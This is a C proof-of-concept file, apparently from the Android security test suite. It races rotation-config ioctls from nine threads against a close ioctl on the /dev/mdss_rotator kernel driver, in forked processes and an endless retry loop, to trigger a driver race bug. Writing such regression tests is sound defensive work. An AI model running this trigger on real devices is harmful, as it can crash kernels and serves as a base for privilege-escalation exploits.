1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 18 #include <pthread.h> 19 #include <sys/types.h> 20 #include <sys/wait.h> 21 #include <stdio.h> 22 #include <fcntl.h> 23 #include <errno.h> 24 #include <unistd.h> 25 #include <string.h> 26 #include "local_poc.h" 27 28 29 int fd; 30 struct mdp_rotation_config config; 31 int id; 32 int status[10]; 33 int cmd = 0; 34 35 void *threadForConfig(void *arg) 36 { 37 int index = (int) (unsigned long)arg; 38 39 status[index] = 1; 40 41 while (cmd != 1) { 42 usleep(10); 43 } 44 45 if (cmd == -1) 46 goto failed; 47 48 usleep(5 * index); 49 ioctl(fd, MDSS_ROTATION_CONFIG, &config); 50 failed: 51 status[index] = 2; 52 return NULL; 53 54 } 55 56 void *threadForClose() 57 { 58 status[0] = 1; 59 60 while (cmd != 1) { 61 usleep(10); 62 } 63 64 if (cmd == -1) 65 goto failed; 66 67 usleep(50); 68 ioctl(fd, MDSS_ROTATION_CLOSE, id); 69 failed: 70 status[0] = 2; 71 return NULL; 72 } 73 74 int main() 75 { 76 int ret, i, count; 77 pthread_t tid[5]; 78 int p = 5; 79 80 count = 0; 81 retry: 82 if (p-- > 0){ 83 fork(); 84 } 85 86 cmd = 0; 87 for (i = 0; i < 10; i++) 88 status[i] = 0; 89 90 fd = open("/dev/mdss_rotator", O_RDONLY, 0); 91 if (fd < 0) { 92 return -1; 93 } 94 95 ret = ioctl(fd, MDSS_ROTATION_OPEN, &config); 96 if (ret < 0) { 97 goto failed; 98 } else { 99 id = config.session_id; 100 } 101 102 ret = pthread_create(&tid[0], NULL, threadForClose, NULL); 103 if (ret != 0) { 104 goto failed; 105 } 106 107 for (i = 1; i < 10; i++) { 108 ret = pthread_create(&tid[1], NULL, threadForConfig, (void *)(unsigned long)i); 109 if (ret != 0) { 110 cmd = -1; 111 goto failed; 112 } 113 } 114 115 while (status[0] != 1 || status[1] != 1 || status[2] != 1 116 || status[3] != 1 || status[4] != 1 || status[5] != 1 117 || status[6] != 1 || status[7] != 1 || status[8] != 1 118 || status[9] != 1) { 119 usleep(50); 120 } 121 122 cmd = 1; 123 usleep(10); 124 ioctl(fd, MDSS_ROTATION_CONFIG, &config); 125 126 while (status[0] != 2 || status[1] != 2 || status[2] != 2 127 || status[3] != 2 || status[4] != 2 || status[5] != 2 128 || status[6] != 2 || status[7] != 2 || status[8] != 2 129 || status[9] != 2) { 130 usleep(50); 131 } 132 133 failed: 134 close(fd); 135 goto retry; 136 137 return 0; 138 } 139